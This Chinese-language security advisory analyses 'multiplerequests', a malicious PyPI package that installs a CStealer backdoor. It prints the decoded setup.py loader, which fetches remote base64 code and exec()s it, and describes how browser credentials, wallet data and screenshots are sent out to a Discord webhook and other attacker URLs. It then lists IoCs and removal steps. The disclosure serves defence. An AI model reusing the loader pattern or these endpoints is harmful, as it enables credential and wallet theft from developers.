供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

概述

近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。

pypi仓库恶意包multiplerequests下载量

该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

清华镜像源

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multiplerequests -i  https://pypi.tuna.tsinghua.edu.cn/simple 

由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\\AppData\\Roaming/frvezdffvvcode.py) 的文件写入操作。

投毒分析

multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。

恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(https://frvezdffvv.pythonanywhere.com/getpackage)拉取第二阶段恶意代码并执行。

from urllib import request

package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

第二阶段恶意代码同样经过base64编码,如下所示:

第二阶段恶意代码(base64编码)

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

第二阶段真实恶意代码

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本https://github.com/can-kat/cstealer/blob/main/cstealer.py)。

CStealer窃密后门项目

该恶意代码主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

收集系统敏感信息

通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot)。

系统信息收集功能

收集浏览器隐私数据

针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。

浏览器用户隐私数据收集功能

浏览器数据收集后,会被压缩打包发送到投毒者webhook接口:

浏览器隐私数据外传功能

收集数字钱包应用数据

针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(https://store1.gofile.io/uploadFile)。

数字钱包及其应用数据路径

数字钱包应用数据外传接口

系统屏幕截屏

首先从攻击者服务器(https://frvezdffvv.pythonanywhere.com/getmss)下载python mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。

远程下载python mss屏幕截屏模块

python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(https://github.com/BoboTiG/python-mss)。

Python MSS开源项目

如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。

系统屏幕截屏及数据回传

开机自启动

CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。

恶意后门写入Windows系统自启动目录

IoC数据

此次投毒组件包涉及以下IoC数据:

IoC

类型

SHA256

multiplerequests-2.31.0/setup.py

文件

e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f

https://frvezdffvv.pythonanywhere.com/getpackage

URL

https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot

URL

https://frvezdffvv.pythonanywhere.com/getmss

URL

https://rentry.co/u4tup/raw

URL

https://rentry.co/5crcu/raw

URL

https://rentry.co/5uu99/raw

URL

https://rentry.co/pmpxa/raw

URL

https://store1.gofile.io/uploadFile

URL

排查方式

截至目前,该Python恶意组件可从国内主流Pypi镜像源正常下载安装国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。

开发者可通过命令pip show multiplerequests快速排查是否安装或引用恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令pip uninstall multiplerequests -y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[

  {

    "product": "multiplerequests",

    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",

    "language": "python",

    "id": "XMIRROR-MAL45-7DF79312",

    "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",

"release_date": "2024-04-25"

}

]

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。


感谢每一位开源社区成员对OpenSCA的支持和贡献。OpenSCA的代码会在GitHub和Gitee持续迭代,欢迎Star和Fork,也欢迎向我们提交ISSUE和PR,参与我们的开源安全共建计划,与社区成员共同建设充满可能性的开源解决方案。

GitHub

https://github.com/XmirrorSecurity/OpenSCA-cli/releases

Gitee

https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases

OpenSCA官网

https://opensca.xmirror.cn/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/5267.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一种基于YOLOv8改进的高精度红外小目标检测算法 (原创自研)

💡💡💡本文摘要:一种基于YOLOv8改进的高精度小目标检测算法, 在红外小目标检测任务中实现暴力涨点; 💡💡💡创新点: 1)SPD-Conv特别是在处理低分…

Spring中实现策略模式的几种方式

Spring中实现策略模式的几种方式 一.背景 在写业务代码的时候,难免会遇到很多if-else,这个时候如果if-else不是很多可以用if-else。如果此时场景过多,太多的if-else会导致代码比较臃肿,所以这个时候就需要抽象化,将每…

Git分支策略与工作流

Git分支策略与工作流 - GitFlow工作流介绍 GitFlow工作流是一种在软件开发中广泛使用的Git分支策略和工作流。它在2010年由Vincent Driessen提出,并在开源社区中广泛接受和采用。 GitFlow工作流使用两个主要分支——master和develop。master分支用于发布稳定的版…

WebGL开发框架对比

WebGL开发框架提供了一套丰富的工具和API,使得在Web浏览器中创建和操作3D图形变得更加容易。以下是一些流行的WebGL开发框架及其各自的优缺点,选择哪个框架取决于项目的具体需求、团队的技术背景以及对特定特性的偏好。例如,如果你需要一个强…

04.17_111期_C++_继承多态_虚表

如果想实现不同的类的对象调用不同的虚函数 可以通过 协变 这种形式 在父类Person中的虚函数的返回值 的数据类型是一个 父类(任意一个父类σ就行) 在子类Student中的虚函数的返回值 的数据类型是一个 继承了σ的子类 class Student : public …

Maven基础使用

第一章> 1、配置阿里云 2、搭建私服 **************************************************************************************************************************************************************************** 1、Maven仓库指向阿里云 #(1&…

公文写作笔记

标题 最后一行的日期,后边占4个格子。两个数字占一格。落款单位在日期的正上方。 格式积累 内容: ①开头:缘由 ②主题:对策(别人做得好,就借鉴) ③结尾:简单的总结(字…

Qt :浅谈在大型项目中使用信号管理器

一、引言 在大型的Qt项目中,我们往往涉及到很多不同类型的对象之间通信交互,这时候,仍旧采用小项目使用的哪里使用,哪里关联的方法,在复杂的场景下将是无穷无尽的折磨。 下面我们给出一种苦难的场景。 class A: public QObject {Q_OBJECT public:A(QObject *parent = nu…

Go 语言(三)【面向对象编程】

1、OOP 首先,Go 语言并不是面向对象的语言,只是可以通过一些方法来模拟面向对象。 1.1、封装 Go 语言是通过结构体(struct)来实现封装的。 1.2、继承 继承主要由下面这三种方式实现: 1.2.1、嵌套匿名字段 //Add…

在ADS中进行稳定性分析的严格方法-使用返回差与策动点阻抗

在ADS中进行稳定性分析的严格方法-使用返回差与策动点阻抗 在ADS中进行稳定性分析(以避免K稳定性因子的局限性)-理论部分中介绍了奈奎斯特图的基本原理和判定方法,并在ADS中举例稳定和不稳定的例子。 在在ADS中进行稳定性分析的多种理论方法…

基于SpringBoot的“在线BLOG网”的设计与实现(源码+数据库+文档+PPT)

基于SpringBoot的“在线BLOG网”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:SpringBoot 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 在线BLOG网结构功能图 管理员登录功能界面 用户信息…

mysql binlog入门

binlog 什么是binlog binlg记录了所有的表结构变更(CREATE、ALTER TABLE…)以及表数据修改(INSERT、UPDATE、DELETE…),以事件形式记录,还包含语句所执行的消耗的时间。 简单的说就是,只要对…

call 和 apply

call() 和 apply() 方法在功能上是类似的,它们都用于调用函数并指定函数执行时的上下文(即 this 的值),但它们的参数传递方式略有不同: call() 方法:接受一个参数列表,第一个参数是要绑定给函数…

Java Spring 中的声明式事务管理

Spring框架中的声明式事务管理是一种非编程式的事务管理方式,它允许开发者通过配置而非编程的方式来管理事务。这种方式使得事务管理与业务逻辑解耦,提高了代码的可读性和可维护性。 在Spring中,声明式事务管理主要依赖于AOP(面向…

Grafana 添加一台管理服务器

1、修改prometheus.yml 添加新服务器信息 2、重启pro 3、导入node文件 4、启动node 5、检验数据

大话人工智能之训练数据集

1.训练集(Training Set) 用于训练模型的数据集。训练集用来训练模型,拟合出数据分布规律,即确定模型的权重和偏置等参数,这些参数称为学习参数。 训练集使用多次确定模型权重、偏置等学习参数训练出(学习出)模型通常情…

拓云启航 移动云全网型经销渠道合作伙伴火热招募

2024年4月28日至29日,2024中国移动算力网络大会在苏州召开。28 日下午大会主论坛现场,中国移动发布移动云全新万象算力网络生态合作计划,加速算力网络新质生产力落地。后续,移动云将依托“拓云计划”,招募超万家渠道伙…

华为配置mDNS网关示例(AP与AC间二层转发)

华为配置mDNS网关示例(AP与AC间二层转发) 组网图形 图1 配置mDNS网关组网图 组网需求配置思路操作步骤配置文件 组网需求 如图1所示,某企业的移动终端通过WLAN连接网络,AP_1和AP_2分别与AC之间采用二层转发。部门1和部门2分别属…

用Python Turtle画一个中国结

中国结,作为中华民族传统文化的象征之一,以其独特的编织技艺和深厚的文化内涵,深受人们喜爱。今天,我们就来用Python的turtle模块,尝试绘制一个充满韵味的中国结。 我们先来看看整个中国结生成的过程: 中国…

2024年,如何实现高效的自动化渗透测试?

随着当前网络安全威胁的不断扩展与升级,开展渗透测试工作已经成为广大企业组织主动识别安全漏洞与潜在风险的关键过程。然而,传统的人工渗透测试模式对测试人员的专业能力和经验水平有很高的要求,企业需要投入较大的时间和资源才能完成。在此…